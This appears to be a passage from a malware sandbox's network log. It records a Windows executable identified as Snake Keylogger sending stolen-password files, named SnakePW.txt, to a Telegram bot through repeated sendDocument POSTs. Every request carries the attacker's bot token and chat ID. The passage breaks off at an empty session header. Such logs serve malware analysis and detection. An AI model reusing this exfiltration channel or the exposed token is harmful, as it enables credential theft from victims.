2022-06-26 07:34:05 UTC	344	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66976,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228845,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.5	50094	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:05 UTC	344	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757082c7276 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:05 UTC	344	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 38 32 63 37 32 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757082c7276Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:05 UTC	345	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:05 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:05 UTC	345	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 37 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66977,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228845,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.5	50095	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:05 UTC	346	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757086a6f82 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:05 UTC	346	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 38 36 61 36 66 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757086a6f82Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:06 UTC	347	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:06 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:06 UTC	347	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66978,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228846,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.5	50098	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:06 UTC	347	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575708a60af7 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:06 UTC	348	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 38 61 36 30 61 66 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575708a60af7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:06 UTC	348	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:06 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:06 UTC	349	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66979,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228846,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.5	50100	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:07 UTC	349	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575709220422 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:07 UTC	349	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 39 32 32 30 34 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575709220422Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:07 UTC	350	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:07 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:07 UTC	350	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66981,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228847,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.5	50102	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:07 UTC	351	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570964c68e Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:07 UTC	351	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 39 36 34 63 36 38 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570964c68eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:07 UTC	352	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:07 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:07 UTC	352	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66982,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228847,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.5	50103	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:08 UTC	352	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570a1c5b38 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:08 UTC	353	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 61 31 63 35 62 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570a1c5b38Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:08 UTC	353	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:08 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:08 UTC	354	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66983,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228848,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49789	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:46 UTC	35	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d96b65d8 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:46 UTC	35	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 39 36 62 36 35 64 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d96b65d8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:47 UTC	36	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:47 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:47 UTC	36	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66768,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228767,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.5	50104	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
